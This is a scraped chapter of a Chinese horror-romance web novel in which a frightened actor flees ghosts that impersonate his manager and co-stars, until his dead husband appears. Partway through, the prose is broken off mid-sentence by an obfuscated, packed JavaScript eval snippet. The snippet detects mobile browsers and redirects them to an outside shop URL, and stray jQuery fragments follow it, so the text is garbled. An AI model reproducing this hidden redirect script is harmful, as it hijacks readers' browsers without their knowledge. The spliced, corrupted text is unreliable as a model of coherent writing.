13.他自深渊来

作品:《小可怜替嫁后发现老攻是邪祟

    陆栖还盯着他,手机也还在响,京市阴冷连缀的雨幕将他们跟其他车流行人隔绝开了一样,只剩下僵持死寂。


    就在陆栖又要问他的时候,谈雪慈终于张开干涩的唇,提醒他说:“绿灯了。”


    他们刚才停在了一个路口。


    陆栖的脑袋没有转过去,但他身体其实一直都没动,等于他脑袋是转了将近一百八十度,扭到后面来的。


    他盯着谈雪慈,直到谈雪慈眼底控制不住漫上水雾,后边的车按了好几声喇叭,陆栖才终于咔咔地将脑袋转回去,重新发动了车子。


    然而谈雪慈还没来得及松一口气。


    陆栖又突然问:“谁给你打的电话啊,怎么不接呢,你好像有点害怕。”


    谈雪慈:“……”


    谈雪慈两眼一闭,说:“电信诈骗。”


    陆栖:“……”


    陆栖说:“我帮你看看。”


    “不……不行。”谈雪慈将手机按得死死。


    陆栖的脸在昏暗车内几乎已经成了青灰色,问他,“为什么?”


    谈雪慈大脑高速运转,最后结结巴巴地蹦出来句:“怕……怕你被骗。”


    陆栖:“……”


    “这是我的手机,”谈雪慈捋直了舌头,但小脸仍然紧绷绷的,闭着眼说,“你被骗,划走的都是我的钱,我本来就没钱。”


    胆小贫穷且抠门。


    电话铃声就在这时终于停了。


    陆栖古怪地笑了一声,好像不打算再追问他,谈雪慈不动声色小小地呼出一口气,冷汗已经湿透了脊椎线。


    “你还懂电信诈骗呢?”陆栖咬牙切齿。


    这语气太陆栖了,谈雪慈忍不住睁开一只眼偷看了下,然而陆栖的脸色比刚才还阴间,已经变成了惨青色。


    谈雪慈:“……”


    有时候真想再也不睁开眼。


    虽然不知道为什么,但对方好像没打算跟他撕破脸,他已经上了车,车门都锁着,跳不下去,现在接陆栖的电话,等于在戳破对方的伪装,万一把对方激怒,搞不好会直接弄死他。


    何况告诉陆栖也没什么用。


    除了这辆车,外面看起来都很正常,而且确实是去酒店的路。


    谈雪慈手心湿答答的,趁那个鬼经纪人没注意,伸手摸了下胸口的符袋。


    希望贺先生能保佑他到酒店,能到酒店就好了,说不定还有机会。


    要是死了,就只能去给男鬼当鬼老婆了。


    对方还真的将车停在了酒店门口,但已经晚上十点多了,酒店外没什么人,大厅里也只看到几个接待。


    谈雪慈小脸苍白,细瘦的手指也有点发抖,在想他到底该怎么办,就在这时,手机又突然响了起来,还是陆栖打来的电话。


    谈雪慈这次没犹豫,他猛地推开车门就跑了下去,边往酒店跑边接起电话。


    “喂,”陆栖暴躁又担心的声音响起,“我在医院等了一个多小时都没看到你,去住院部找解医生,他说你根本没来,我又回酒店找你,也没找到,怎么回事啊,你现在在什么地方?”


    “我……”谈雪慈嗓音带上了一点哭腔,说,“我在酒店楼下……”


    谈雪慈本来带了药,但从太平间跑出去以后就不见了,他攥着胸口的符袋往电梯方向跑,只要在那个鬼经纪人追上来之前上楼吃药就好了,就不会再看到对方了。


    电梯很慢,那个鬼经纪人却一直没追过来,不知道是不是因为酒店前台供了一尊观音。


    他刚进组时,听剧组工作人员八卦说嘉禾私立中学突然换校区,不是因为设施老化,而是因为去年连着死了七个学生。


    学校怕继续死下去才搬走的。


    这事儿太晦气,所以学校附近好多商户都在店里供奉了各种菩萨跟佛像。


    谈雪慈不知道真假,但他在这家酒店里确实看到过好几尊观音,心里稍微安定了一点。


    说不定会有用,前几天晚上趴在他窗户外面的那个鬼不就没进来吗。


    电梯终于叮的一声到了一楼,电梯门打开时,谈雪慈匆匆往里走,差点跟陆栖迎面撞上。


    “诶,我去,”陆栖扶住他肩膀,“你走这么快干什么,撞鬼了?到底怎么回事啊,不是说要去看病吗?”


    谈雪慈嘴唇颤抖了下,没说出来话。


    陆栖瞧着他苍白的脸色,安慰说:“行了,先别说了,上楼歇一歇再说。”


    他按着谈雪慈的肩膀将人往电梯里推,谈雪慈走到电梯门口,脚步却突然一顿,被对方按住肩膀不知道为什么有种毛骨悚然的感觉。


    而且总觉得有什么地方不对。


    到底是哪里不对呢。


    谈雪慈突然想起什么,一股寒意沿着脊椎窜上来,他缓缓低头,看向陆栖脚边。


    这个陆栖没有影子。


    “怎么了?”陆栖也低下头缓缓靠近他问。


    谈雪慈打了个哆嗦,睫毛颤个不停,差点从鼻子里溢出一声哭腔。


    他转过头,闻遥川跟孟栀正好从外面回来,对了,谈雪慈浑身冷汗地想起来,男女主的戏份多,他们今晚是应该十点左右收工。


    他这次确认了下,闻遥川跟孟栀都有影子,然后猛地挣开陆栖的手,跑过去,嗓音低颤说:“闻哥,我想跟你们一起上楼。”


    闻遥川不是还懂什么崂山道士吗,听起来跟观音菩萨一样有安全感。


    闻遥川跟孟栀当然没拒绝,带他上了另一部刚下来的电梯,闻遥川看了眼陆栖,又看了眼谈雪慈说:“怎么了?跟你经纪人吵架了?”


    经纪人跟艺人不合在圈内很常见。


    谈雪慈一点声音也发不出来,电梯门缓缓关上,在越来越窄的夹缝中,他看到那个陆栖对他扬起个微笑。


    那个笑容真的很怪,让谈雪慈觉得自己又有什么忽略的地方,但哪里不对呢。


    电梯光滑的轿壁倒映出他们三个人的身影。


    三个人……


    三个人?!


    谈雪慈猛地低下头,手指苍白地绞在一起,三个人……为什么会是三个人。


    闻遥川是影帝,出门至少会带三个助理,除此之外还有经纪人和保镖。


    就连孟栀,身边也有个小助理。


    何况男女主单独在一起,很容易传绯闻,闻遥川入行多年,不但情史干净,甚至绯闻都几乎没有,他口碑很好,又敬业,又尊重女演员,跟女演员相处时都会避嫌,为人很绅士。


    他怎么会单独跟孟栀一起回来呢。


    “小慈,”孟栀在他身后,突然拍了拍他的肩膀,嗓音轻轻柔柔地说,“你能转过来看看我的脸吗?我的脸好痛啊,感觉很胀。”


    又来了。


    谈雪慈闭着眼,没动也没看。


    “我也是,”闻遥川忽然开口,“小慈,你能帮我也看看吗?”


    谈雪慈双手握成拳,终于忍无可忍,小发雷霆说:“你们就不能互相看吗?!”


    “……”


    “……”


    背后的男鬼女鬼好像被震慑了,一时间竟然没鬼说话。


    电梯轿厢却越来越摇晃,好像很沉重,不堪重负似的,吱吱呀呀地停了下来。


    叮咚一声,门在十五楼开了。


    机械女声响起。


    “您好,电梯已超载。”


    “您好,电梯已超载。”


    “您好……”


    谈雪慈没听完就往外冲,出去以后回头看了一眼,闻遥川跟孟栀的皮肤上眼珠一颗一颗正在冒出来,两个人几乎已经看不出人形,都被水泡一样透明发黑,蛄蛹来蛄蛹去的眼珠吞没,像长满了黑色葡萄的巨人观,不超载才怪。


    谈雪慈的房间在十六楼,只剩一层楼,他不打算再坐电梯,准备爬楼梯上去,但楼梯在走廊另一头,他深呼吸了一下,正想跑过去,手机却又响了起来,还是陆栖的电话。


    他毫不犹豫挂断,然而手机却显示了接通,陆栖的声音传出来,说:


    “我看到你了。”


    谈雪慈顿时后颈一凉,转头看去,只见身后走廊两侧的客房门开了好几扇。


    有服务生从里面探出头来。


    “不要跑啊,”陆栖阴气森森的嗓音带着笑,跟他说,“我一直在看着你呢。”


    谈雪慈:“……”


    谈雪慈挂掉电话,头也不回地往房间跑。


    上台阶。


    一层两层三层……


    他的房间是尾房,在走廊尽头,就在他快要跑过去时,却看到陆栖正蹲在他房间门口。


    陆栖好像已经蹲了很久,手上还拿着手机,在给谁打电话却打不通的样子,听到谈雪慈的脚步声,就像看到自己崽子的老吗喽一样激动地跳了起来,焦急


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907713|191614||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地说:“你去哪儿了?我到处找不到你,吓死我了,诶,你——”


    谈雪慈几乎崩溃了,他猛地推开陆栖,将陆栖推了个踉跄,开门关门上锁一气呵成。


    他双腿发软,扑到床边去找药瓶,眼前一阵昏一阵黑,本来就不认得几个字,平常他都是靠药瓶大小形状记自己在吃哪个药,好不容易找到拧开,房间门突然被人敲响。


    咚咚咚。


    谈雪慈吓得手一抖,药瓶掉在地上,白色的药片撒了一地。


    他顾不上去捡,颤抖着随便抓了一把,还顺手将摆在旁边的牌位也抱在怀里,就上床躲到被子底下,他浑身都在发抖,嗓子也哽咽起来,吓得鼻头都发红了,一颗一颗往嘴里塞药,但外面的敲门声始终没消失。


    那个东西一直在敲门,甚至还带上了哭腔。


    “呜呜呜……”


    它说:


    “给我开门呀。”


    “不开门我就看不到你了。”


    谈雪慈躲在被子底下,双眼惊恐地睁大,将牌位紧紧搂在怀里,语无伦次地小声喃喃,“贺……贺先生,贺先生,贺恂夜……”


    难怪人在痛苦时都喜欢求神拜佛,除了求神拜佛也没别的可以做了,只不过他求的不是神明,只是自己已经死掉的丈夫而已。


    那个东西敲了很久的门,嗓音扭曲起来,呜呜咽咽只能用鬼哭来形容。


    就在这时,外面突然响起一道男声。


    “我操,你谁啊,在这儿敲什么呢?”


    是陆栖的声音。


    “再敲我报警了啊。”


    是陆栖吗?


    这次是陆栖吗?


    谈雪慈攥着被子的手颤了一下,又马上缩回去躲好,不不不,不可能。


    但万一呢,他不开门,陆栖会被鬼杀掉吗?


    “呜呜……”


    哭声越来越近了,好像从门外变到身后的窗外一样。


    “呜……呜呜呜……”


    “你把我的眼睛拿走了,我看不到你了……”


    眼睛……


    谈雪慈颤抖着低头去看,才发现自己手里拿的根本不是药,是一堆鱼卵一样湿滑的眼珠。


    谈雪慈猛地将手里的眼球都丢出去,他在被子底下抱住头,浑身都闷出了汗,氧气越来越稀薄,呼吸也变得很艰难,眼泪一直在不受控地往下流,但嗓子里却发不出一点声音。


    就在这时,门吱呀一声开了。


    谈雪慈屏住呼吸,连大气不敢喘,他听到有脚步声在缓缓地,啪嗒、啪嗒地靠近,就好像皮鞋踩在地面上的声音。


    他已经……没有地方可以躲了。


    谈雪慈控制不住发抖,麻木又绝望听着那道脚步声一点一点靠近他。


    然后被子被人扯住了。


    谈雪慈浑身一僵。


    对方在用力扯他的被子。


    他不知道从哪儿爆发的力气,边尖叫边用力扯住自己的被子,像只应激以后歇斯底里的猫,但对方的力气比他大很多,他在对方手上甚至比猫都软弱无力,对方稍微一用力,他的被子就终于被彻底扯下去。


    谈雪慈尖叫着缩成一团,他身上过于宽大的卫衣已经蹭歪了,露出了锁骨跟半个雪白的肩头,黑发也蹭得很乱,脸上泪痕斑驳,眼泪还在疯狂地往下流,眼眶已经彻底哭红了,就连鼻尖眼睑都是红的,嘴唇也红得发颤,脸色却有种很病态很神经质,水釉一样的白。


    他拼命缩着,仰起那张漂亮又狼狈的脸,隔着雾濛濛的眼泪看向对方,然后猛地愣住,眼泪都挂在眼睑上没掉下来。


    眼前的男人衣冠楚楚,穿了身手工定制的黑西装,肤色苍白,长相俊美,除了内眼眦浮起的血红一直敛到眼尾,显得鬼气森然,怎么看都是张冰冷立体到挑不出一点瑕疵的脸。


    尤其那双漆黑狭长的桃花眼,藏着点笑意,对上就让人心头一悸,像坠入渐浓的深夜一样,有种很叫人头皮发麻的温柔。


    大概人总是本能地畏惧夜晚,再引诱,再沉溺也还是会觉得危险。


    “你……”谈雪慈顶着张被眼泪蹭湿的小脸,眼睛哭得红彤彤,鼻子也堵了,呆呆看着眼前的男人,大脑都在宕机,对方穿的甚至是遗照上那身黑西装,他蜷起手指,“你……”


    “我?”贺恂夜语气很温柔,勾唇望向他说,“我是你老公啊,宝宝,不认得老公了吗?”